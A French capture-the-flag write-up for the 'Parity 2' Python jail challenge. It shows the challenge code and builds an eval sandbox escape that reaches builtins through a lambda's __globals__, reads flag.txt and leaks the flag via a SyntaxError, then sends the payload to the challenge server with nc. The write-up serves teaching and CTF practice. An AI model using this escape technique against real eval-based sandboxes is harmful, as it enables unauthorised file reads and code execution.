🎈 Parity 2
👀 Avant de commencer
Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github
📖 Énoncé du challenge
#!/usr/local/bin/python3
inp = input("> ")
f = lambda: None
for i, v in enumerate(inp):
if v == "_":
continue
print(v, i, ord(v), i % 2 == ord(v) % 2)
if not (ord(v) < 128 and i % 2 == ord(v) % 2):
print('bad')
exit()
eval(inp, {"__builtins__": None, 'f': f})
🚩 Avoir le flag
A première vue le challenge n'as pas plus changer que la version précédente. Nous avons toujours un eval
, mais cette fois ci avec un scope local nous avons uniquement la fonction f
qui est définie.
Premièrement, nous allons devoir récupérer un scope global pour pouvoir trouver notre open et pouvoir lire le fichier flag.txt
.
Assez simplement on trouve que nous pouvons effectuer un appel à la fonction f
pour obtenir un scope global.
f.__globals__["__builtins__"]["open"]('flag.txt')
Bon l'idée est la maintenant nous devons la mettre en place avec un caractère ASCII impair et un caractère ASCII pair.
inp = """f\t.__globals__ [ '__b'"u"\t"i"'l' 'tins_' '_' ].open\t('f' 'l'"a"\t"g"'.' 't' 'x' 't' )"""
Pour ça on a utilisé ces tricks:
\t
est un caractère impair`
est un caractère pairopen
est un mot-clé qui respecte les conditions de l'énoncé.- L'utilisation de
''""
ou nous n'avons pas besoin de mettre un+
pour concaténer les strings.
A présent si nous exécutons notre code mais que pour debug nous mettons les buitins à print
.
$ cat chal.py
#!/usr/local/bin/python3
inp = """f\t.__globals__ [ '__b'"u"\t"i"'l' 'tins_' '_' ].open\t('f' 'l'"a"\t"g"'.' 't' 'x' 't' )"""
f = lambda: None
for i, v in enumerate(inp):
if v == "_":
continue
print(v, i, ord(v), i % 2 == ord(v) % 2)
if not (ord(v) < 128 and i % 2 == ord(v) % 2):
print(f"bad. char: {ascii(v)}, ord: {ord(v)}, index: {i}")
print('bad')
exit()
inp = f"print({inp})"
eval(inp, {"__builtins__": __builtins__, 'f': f})
$ python3 main.py
<_io.TextIOWrapper name='flag.txt' mode='r' encoding='UTF-8'>
Nous avons bien notre fichier flag.txt
est ouvert. Nous devons maintenant trouver un moyen de trouver ce qu'il a dans son contenu.
Et pour ça nous pouvons utilisé ce magnique tricks:
La magie du for ❤️
En python vu que nous n'avons pas de type
par défault si nous effectuons un for sur des objets qui ne sont pas des listes, nous pouvons obtenir le contenu de l'objet.
$ python3
Python 3.12.5+ (heads/3.12-dirty:7dec3d7acbb, Aug 23 2024, 18:26:06) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> [ x for x in open("flag.txt") ]
['jail{flag_will_be_here_on_remote}\n']
Nous allons donc faire comme suit:
inp = """([ \tx\t \tfor\t \tx\t in\tf\t.__globals__ [ '__b'"u"\t"i"'l' 'tins_' '_' ].open\t('f' 'l'"a"\t"g"'.' 't' 'x' 't' ) ] )"""
Et comme dans la partie précédente nous allons encore appelé un eval
pour que l'eval
du script puisse nous cracher l'erreur donc le flag.
#!/usr/local/bin/python3
inp = """f\t.__globals__ [ '__b'"u"\t"i"'l' 'tins_' '_' ].eval\t(\t([ \tx\t \tfor\t \tx\t in\tf\t.__globals__ [ '__b'"u"\t"i"'l' 'tins_' '_' ].open\t('f' 'l'"a"\t"g"'.' 't' 'x' 't' ) ] ) [0] )"""
f = lambda: None
for i, v in enumerate(inp):
if v == "_":
continue
print(v, i, ord(v), i % 2 == ord(v) % 2)
if not (ord(v) < 128 and i % 2 == ord(v) % 2):
print(f"bad. char: {ascii(v)}, ord: {ord(v)}, index: {i}")
print('bad')
exit()
eval(inp, {"__builtins__": None, 'f': f})
Qui nous donne:
$ python3 chal.py
Traceback (most recent call last):
File "/mnt/c/Users/MisTrale/Desktop/Perso/CTF/WriteUps/JailCtf2024/Parity-2/main.py", line 19, in <module>
eval(inp, {"__builtins__": None, 'f': f})
File "<string>", line 1, in <module>
File "<string>", line 1
jail{flag_will_be_here_on_remote}
^
SyntaxError: invalid syntax
A présent nous effectuons la même chose que précédemment pour envoyer notre code au serveur.
$ cat inject.py
inp = """f\t.__globals__ [ '__b'"u"\t"i"'l' 'tins_' '_' ].eval\t(\t([ \tx\t \tfor\t \tx\t in\tf\t.__globals__ [ '__b'"u"\t"i"'l' 'tins_' '_' ].open\t('f' 'l'"a"\t"g"'.' 't' 'x' 't' ) ] ) [0] )"""
print(inp)
$ python3 chal.py | nc challs2.pyjail.club 7992
> Traceback (most recent call last):
File "/app/run", line 13, in <module>
eval(inp, {"__builtins__": None, 'f': f})
File "<string>", line 1, in <module>
File "<string>", line 1
jail{parity2_1e2e8963ea65a0333f617}
^
SyntaxError: invalid syntax
💖 Support
👀 Avant de quitter
Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github